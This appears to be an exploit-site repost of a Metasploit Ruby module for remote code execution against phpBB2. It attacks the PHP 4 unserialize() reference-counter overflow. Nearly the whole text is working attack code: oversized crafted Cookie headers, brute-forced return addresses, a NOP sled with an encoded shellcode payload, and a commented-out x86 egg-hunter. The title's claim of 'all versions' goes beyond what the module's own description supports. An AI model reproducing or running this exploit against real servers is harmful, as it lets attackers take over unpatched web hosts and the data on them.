PHPBB all versions Remote Code Execution Exploit

[zbeng]

## 
# $Id:$ 
## 

## 
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit 
# Framework web site for more information on licensing and terms of use. 
# [url]http://metasploit.com/projects/Framework/[/url] 
## 


require 'msf/core' 

module Msf 

class Exploits::Multi::Php::PHP_Unserialize_Zval_phpBB2 < Msf::Exploit::Remote 

include Exploit::Remote::Tcp 
include Exploit::Remote::HttpClient 
include Exploit::Brute 

def initialize(info = {}) 
super(update_info(info, 
'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (phpBB2)', 
'Description' => %q{ 
This module exploits an integer overflow vulnerability in the unserialize() 
function of the PHP web server extension. This vulnerability was patched by 
Stefan in version 4.5.0 and applies all previous versions supporting this function. 
This particular module targets the phpBB2 web application and is based on the proof 
of concept provided by Stefan Esser. This vulnerability requires approximately 900k 
of data to trigger on phpBB2 (due the multiple Cookie headers requirement). Since we 
are already assuming a fast network connection, we use a 2Mb block of shellcode for 
the brute force, allowing quick exploitation for those with fast networks. 

One of the neat things about this vulnerability is that on x86 systems, the EDI register points 
into the beginning of the hashtable string. This can be used with an egghunter to 
quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction 
is known. The EDI method is faster, but the bandwidth-intensive brute force used by this 
module is more reliable across a wider range of systems. 


}, 
'Author' => 
[ 
'hdm', # module development 
'GML <grandmasterlogic [at] gmail.com>', # module development and debugging 
'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited 
], 
'License' => MSF_LICENSE, 
'Version' => '$Revision: 3509 $', 
'References' => 
[ 
['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'], 
], 
'Privileged' => false, 
'Payload' => 
{ 
'Space' => 1024, 
}, 
'Targets' => 
[ 

# 
# 64-bit SuSE: 0x005c0000 
# Backtrack 2.0: 0xb797a000 
# Gentoo: 0xb6900000 
# 

[ 'Linux x86 phpBB2', 
{ 
'Platform' => 'linux', 
'Arch' => [ ARCH_X86 ], 
'Bruteforce' => 
{ 
'Start' => { 'Ret' => 0xb6000400 }, 
'Stop' => { 'Ret' => 0xbfff0000 }, 
'Step' => 1024*1024 
} 
} 
] 
], 
'DisclosureDate' => 'Mar 04 2007')) 

register_options( 
[ 
OptString.new('URI', [true, "The full URI path to vulnerable PHP script", '/phpBB2/faq.php']), 
OptString.new('COOKIENAME', [true, "The prefix to use in front of cookie names", 'phpbb2mysql']) 
], self.class) 
end 

def brute_exploit(target_addrs) 


zvalref = encode_semis('i:0;R:2;') 

# 
# Use this if we decide to do 'jmp edi' returns vs brute force 
# 
=begin 
# Linux specific egg-hunter 
tagger = "\x90\x50\x90\x50" 
hunter = 
"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" + 
"\x3c\xf2\x74\xf1\xb8" + 
tagger + 
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7" 

egghunter = "\xcc" * 39 
egghunter[0, hunter.length] = hunter 

hashtable = "\xcc" * 39 
hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes 

hashtable[20, 4] = [target_addrs['Ret']].pack('V') 
hashtable[32, 4] = [target_addrs['Ret']].pack('V') 
=end 

# 
# Just brute-force addresses for now 
# 
tagger = '' 
egghunter = rand_text_alphanumeric(39) 
hashtable = rand_text_alphanumeric(39) 
hashtable[20, 4] = [target_addrs['Ret']].pack('V') 
hashtable[32, 4] = [target_addrs['Ret']].pack('V') 

# Generate and reuse the original buffer to save CPU 
if (not @saved_cookies) 

# Building the malicious request 
print_status("Creating the request...") 

# Create the first cookie header to get this started 
cookie_fun = "Cookie: #{datastore['COOKIENAME']}_data=" 
cookie_fun << Rex::Text.uri_encode( 
'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";'+ 
'i:0;s:12:"012345678BAN";i:0;}' 
) 
cookie_fun << zvalref * 500 
cookie_fun << Rex::Text.uri_encode('s:2:"') 
cookie_fun << "\r\n" 

refcnt = 1000 
refmax = 65535 

# Keep adding cookie headers... 
while(refcnt < refmax) 

chead = 'Cookie: '; 
chead << encode_semis('";N;') 

# Stay within the 8192 byte limit 
0.upto(679) do |i| 
break if refcnt >= refmax 
refcnt += 1 

chead << zvalref 
end 
chead << encode_semis('s:2:"') 
cookie_fun << chead + "\r\n" 
end 

# The final header, including the hashtable with return address 
cookie_fun << "Cookie: " 
cookie_fun << Rex::Text.uri_encode('";N;') 
cookie_fun << zvalref * 500 

@saved_cookies = cookie_fun 
end 

# Generate and reuse the payload to save CPU time 
if (not @saved_payload) 
@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256) 
end 

cookie_addrs = Rex::Text.uri_encode( 
's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;' 
) + "\r\n" 

print_status("Trying address 0x%.8x..." % target_addrs['Ret']) 
res = send_request_cgi({ 
'uri' => datastore['URI'], 
'method' => 'POST', 
'raw_headers' => @saved_cookies + cookie_addrs, 
'data' => @saved_payload 
}, 1) 


if res 
print_status("Received a response: #{res.code} #{res.message}") 
else 
print_status("No response from the server") 
end 

end 

def encode_semis(str) 
str.gsub(';') { |s| sprintf("%%%.2x", s[0]) } 
end 

end 
end